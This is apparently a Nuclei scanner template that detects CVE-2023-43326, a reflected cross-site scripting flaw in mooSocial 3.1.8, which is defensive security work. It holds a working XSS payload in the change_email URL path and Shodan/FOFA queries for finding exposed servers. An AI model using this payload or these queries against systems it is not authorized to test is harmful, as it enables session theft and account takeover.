id: CVE-2023-43326

info:
  name: MooSocial 3.1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 which allows attackers to steal user's session cookies and impersonate their account via a crafted URL.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters in the change_email endpoint to steal MooSocial user session cookies and impersonate victim accounts.
  remediation: |
    Update MooSocial to a version newer than 3.1.8 that properly sanitizes and encodes URL parameters in user management endpoints.
  reference:
    - https://github.com/ahrixia/CVE-2023-43326
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43326
    - https://moosocial.com/
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-43326
    cwe-id: CWE-79
    epss-score: 0.34593
    epss-percentile: 0.97074
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query: http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve2023,cve,xss,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3eahrixia?step1=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<img src=a onerror=alert(document.domain)>", "mooSocial")'
        condition: and
# digest: 4b0a00483046022100bce47f235780a75faefdabfac5f69b3a5b3681b05498159548f15fe573f11e10022100bbb8d2bbc1287e533fcf5a9126b4b42e8e0a2a0956e22317313d786bb1eaf4bf:922c64590222798bb761d5b6d8e72950